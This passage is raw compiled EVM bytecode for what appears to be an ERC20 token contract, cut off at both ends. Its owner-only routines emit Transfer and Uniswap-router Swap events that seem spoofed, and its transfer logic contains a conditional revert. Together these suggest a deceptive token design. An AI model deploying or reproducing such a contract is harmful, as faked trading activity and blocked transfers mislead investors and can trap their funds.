4f565b600190509392505050565b600860149054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b83839050811015610bc857600060ff1673ffffffffffffffffffffffffffffffffffffffff16421115610bbb576000610b9b60008060ff1661ffff161415610b92576060868685818110610b8157fe5b9050602002013560001c901c610b95565b60005b84611919565b9050610bb9858584818110610bac57fe5b905060200201358261196c565b505b8080600101915050610b31565b50505050565b600080339050610bea818585610be48589610eea565b0161129a565b600191505092915050565b6000602052816000526040600020602052806000526040600020600091509150505481565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8251811015610d1757610d0a838281518110610cfa57fe5b60200260200101518786886119f7565b8080600101915050610ce2565b5060019050949350505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e2b5780601f10610e0057610100808354040283529160200191610e2b565b820191906000526020600020905b815481529060010190602001808311610e0e57829003601f168201915b5050505050905090565b6000803390506000610e478286610eea565b905083811015610ea2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128b36025913960400191505060405180910390fd5b610eaf828686840361129a565b60019250505092915050565b6000610ec833848461154f565b6001905092915050565b60016020528060005260406000206000915090505481565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611033576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b838390508110156110cd57600060ff1673ffffffffffffffffffffffffffffffffffffffff164211156110c05760006110a060008060ff1661ffff16141561109757606086868581811061108657fe5b9050602002013560001c901c61109a565b60005b84611919565b90506110be8585848181106110b157fe5b9050602002013582611c03565b505b8080600101915050611036565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611196576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000620186a06201869f61124b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561120b57600080fd5b505afa15801561121f573d6000803e3d6000fd5b505050506040513d602081101561123557600080fd5b8101908080519060200190929190505050611dc4565b028161125357fe5b0490506000611260611f8b565b9050600061126e8383612111565b905061127c83828487612235565b50505050565b60096020528060005260406000206000915090505481565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611320576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061288f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128226022913960400191505060405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600061149c8484610eea565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611549578181101561153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000081525060200191505060405180910390fd5b611548848484840361129a565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061286a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806127ff6023913960400191505060405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806128446026913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156117d55760006117ca600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612328565b146117d457600080fd5b5b6117df81836123b0565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061186b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612328565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b6000611964600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612439565b905092915050565b6119758161244d565b6002600080600014158061198b575060016104d6145b61199c5760608560001c901c6119b5565b60028063ffffffff16146119b15760016119b4565b60015b5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611aa857600080fd5b505af1158015611abc573d6000803e3d6000fd5b505050506040513d6020811015611ad257600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040518085815260200184815260200183815260200182815260200194505050505060405180910390a350505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600080141580611c4e575060016104d6145b611c5f5760608360001c901c611c62565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016000806000141580611caf575060016104d6145b611cc05760608760001c901c611cff565b3073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff1614611cfb576001611cfe565b60005b5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611d588161245a565b60016000806000141580611d6e575060016104d6145b611d7f5760608560001c901c611d82565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611e3157600080fd5b505afa158015611e45573d6000803e3d6000fd5b505050506040513d6060811015611e5b57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050915091508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015611f0457600080fd5b505afa158015611f18573d6000803e3d6000fd5b505050506040513d6020811015611f2e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614611f7057806dffffffffffffffffffffffffffff16611f82565b816dffffffffffffffffffffffffffff165b92505050919050565b606080600267ffffffffffffffff81118015611fa657600080fd5b50604051908082528060200260200182016040528015611fd55781602001602082028036833780820191505090505b5090503081600081518110611fe657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208857600080fd5b505afa15801561209c573d6000803e3d6000fd5b505050506040513d60208110156120b257600080fd5b8101908080519060200190929190505050816001815181106120d057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508091505090565b60006060600267ffffffffffffffff8111801561212d57600080fd5b5060405190808252806020026020018201604052801561215c5781602001602082028036833780820191505090505b5090506121698484612472565b90508060008151811061217857fe5b6020026020010151600160006001421180612194575060016000115b806121b5575042600173ffffffffffffffffffffffffffffffffffffffff16105b6121c05760006121d0565b60606121ca61260d565b60001c901c5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060008151811061222457fe5b602002602001015191505092915050565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232284848484612632565b50505050565b6000808284019050838110156123a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600082821115612428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600081838161244457fe5b04905092915050565b6000600a82019050919050565b6000620186a08083028161246a57fe5b049050919050565b6060600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561250c5780820151818401526020810190506124f1565b50505050905001935050505060006040518083038186803b15801561253057600080fd5b505afa158015612544573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561256e57600080fd5b810190808051604051939291908464010000000082111561258e57600080fd5b838201915060208201858111156125a457600080fd5b82518660208202830111640100000000821117156125c157600080fd5b8083526020830192505050908051906020019060200280838360005b838110156125f85780820151818401526020810190506125dd565b50505050905001604052505050905092915050565b600060603073ffffffffffffffffffffffffffffffffffffffff16901b60001b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee858585856104b042016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156126f95780820151818401526020810190506126de565b505050509050019650505050505050600060405180830381600087803b15801561272257600080fd5b505af1158015612736573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561276057600080fd5b810190808051604051939291908464010000000082111561278057600080fd5b8382019150602082018581111561279657600080fd5b82518660208202830111640100000000821117156127b357600080fd5b8083526020830192505050908051906020019060200280838360005b838110156127ea5780820151818401526020810190506127cf565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ecb74fb61744d9cc77359bdd4e218ce8ee8ba97665bab97e739ac5c2f6dc0d0564736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063bda0278211610071578063bda027821461076b578063dd62ed3e146107c3578063ea923bae1461083b578063ebfb412d146108be578063ff5c1d62146109025761012c565b806370a08231146105945780638da5cb5b146105ec57806395d89b4114610620578063a457c2d7146106a3578063a9059cbb146107075761012c565b8063313ce567116100f4578063313ce56714610312578063316d295f1461033357806339509351146103b65780635765a5cc1461041a57806358a10259146104925761012c565b806304ee65c01461013157806306fdde0314610189578063095ea7b31461020c57806318160ddd1461027057806323b872dd1461028e575b600080fd5b6101736004803603602081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061095a565b6040518082815260200191505060405180910390f35b610191610972565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d15780820151818401526020810190506101b6565b50505050905090810190601f1680156101fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102586004803603604081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a14565b60405180821515815260200191505060405180910390f35b610278610a2b565b6040518082815260200191505060405180910390f35b6102fa600480360360608110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a35565b60405180821515815260200191505060405180910390f35b61031a610a58565b604051808260ff16815260200191505060405180910390f35b6103b46004803603604081101561034957600080fd5b810190808035906020019064010000000081111561036657600080fd5b82018360208201111561037857600080fd5b8035906020019184602083028401116401000000008311171561039a57600080fd5b909192939192939080359060200190929190505050610a6b565b005b610402600480360360408110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bce565b60405180821515815260200191505060405180910390f35b61047c6004803603604081101561043057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf5565b6040518082815260200191505060405180910390f35b61057c600480360360808110156104a857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104f957600080fd5b82018360208201111561050b57600080fd5b8035906020019184602083028401116401000000008311171561052d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610c1a565b60405180821515815260200191505060405180910390f35b6105d6600480360360208110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d24565b6040518082815260200191505060405180910390f35b6105f4610d6d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610628610d93565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066857808201518184015260208101905061064d565b50505050905090810190601f1680156106955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106ef600480360360408110156106b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e35565b60405180821515815260200191505060405180910390f35b6107536004803603604081101561071d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ebb565b60405180821515815260200191505060405180910390f35b6107ad6004803603602081101561078157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed2565b6040518082815260200191505060405180910390f35b610825600480360360408110156107d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eea565b6040518082815260200191505060405180910390f35b6108bc6004803603604081101561085157600080fd5b810190808035906020019064010000000081111561086e57600080fd5b82018360208201111561088057600080fd5b803590602001918460208302840111640100000000831117156108a257600080fd5b909192939192939080359060200190929190505050610f70565b005b610900600480360360208110156108d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d3565b005b6109446004803603602081101561091857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611282565b6040518082815260200191505060405180910390f35b60026020528060005260406000206000915090505481565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a0a5780601f106109df57610100808354040283529160200191610a0a565b820191906000526020600020905b8154815290600101906020018083116109ed57829003601f168201915b5050505050905090565b6000610a2133848461129a565b6001905092915050565b6000600454905090565b6000610a42843384611490565b610a4d84848461154f565b600190509392505050565b600860149054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b83839050811015610bc857600060ff1673ffffffffffffffffffffffffffffffffffffffff16421115610bbb576000610b9b60008060ff1661ffff161415610b92576060868685818110610b8157fe5b9050602002013560001c901c610b95565b60005b84611919565b9050610bb9858584818110610bac57fe5b905060200201358261196c565b505b8080600101915050610b31565b50505050565b600080339050610bea818585610be48589610eea565b0161129a565b600191505092915050565b6000602052816000526040600020602052806000526040600020600091509150505481565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8251811015610d1757610d0a838281518110610cfa57fe5b60200260200101518786886119f7565b8080600101915050610ce2565b5060019050949350505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e2b5780601f10610e0057610100808354040283529160200191610e2b565b820191906000526020600020905b815481529060010190602001808311610e0e57829003601f168201915b5050505050905090565b6000803390506000610e478286610eea565b905083811015610ea2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128b36025913960400191505060405180910390fd5b610eaf828686840361129a565b60019250505092915050565b6000610ec833848461154f565b6001905092915050565b60016020528060005260406000206000915090505481565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611033576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b838390508110156110cd57600060ff1673ffffffffffffffffffffffffffffffffffffffff164211156110c05760006110a060008060ff1661ffff16141561109757606086868581811061108657fe5b9050602002013560001c901c61109a565b60005b84611919565b90506110be8585848181106110b157fe5b9050602002013582611c03565b505b8080600101915050611036565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611196576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000620186a06201869f61124b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561120b57600080fd5b505afa15801561121f573d6000803e3d6000fd5b505050506040513d602081101561123557600080fd5b8101908080519060200190929190505050611dc4565b028161125357fe5b0490506000611260611f8b565b9050600061126e8383612111565b905061127c83828487612235565b50505050565b60096020528060005260406000206000915090505481565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611320576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061288f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128226022913960400191505060405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600061149c8484610eea565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611549578181101561153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000081525060200191505060405180910390fd5b611548848484840361129a565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061286a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806127ff6023913960400191505060405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806128446026913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156117d55760006117ca600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612328565b146117d457600080fd5b5b6117df81836123b0565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061186b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612328565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b6000611964600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612439565b905092915050565b6119758161244d565b6002600080600014158061198b575060016104d6145b61199c5760608560001c901c6119b5565b60028063ffffffff16146119b15760016119b4565b60015b5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611aa857600080fd5b505af1158015611abc573d6000803e3d6000fd5b505050506040513d6020811015611ad257600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040518085815260200184815260200183815260200182815260200194505050505060405180910390a350505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600080141580611c4e575060016104d6145b611c5f5760608360001c901c611c62565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016000806000141580611caf575060016104d6145b611cc05760608760001c901c611cff565b3073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff1614611cfb576001611cfe565b60005b5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611d588161245a565b60016000806000141580611d6e575060016104d6145b611d7f5760608560001c901c611d82565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611e3157600080fd5b505afa158015611e45573d6000803e3d6000fd5b505050506040513d6060811015611e5b57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050915091508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015611f0457600080fd5b505afa158015611f18573d6000803e3d6000fd5b505050506040513d6020811015611f2e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614611f7057806dffffffffffffffffffffffffffff16611f82565b816dffffffffffffffffffffffffffff165b92505050919050565b606080600267ffffffffffffffff81118015611fa657600080fd5b50604051908082528060200260200182016040528015611fd55781602001602082028036833780820191505090505b5090503081600081518110611fe657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208857600080fd5b505afa15801561209c573d6000803e3d6000fd5b505050506040513d60208110156120b257600080fd5b8101908080519060200190929190505050816001815181106120d057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508091505090565b60006060600267ffffffffffffffff8111801561212d57600080fd5b5060405190808252806020026020018201604052801561215c5781602001602082028036833780820191505090505b5090506121698484612472565b90508060008151811061217857fe5b6020026020010151600160006001421180612194575060016000115b806121b5575042600173ffffffffffffffffffffffffffffffffffffffff16105b6121c05760006121d0565b60606121ca61260d565b60001c901c5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060008151811061222457fe5b602002602001015191505092915050565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232284848484612632565b50505050565b6000808284019050838110156123a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6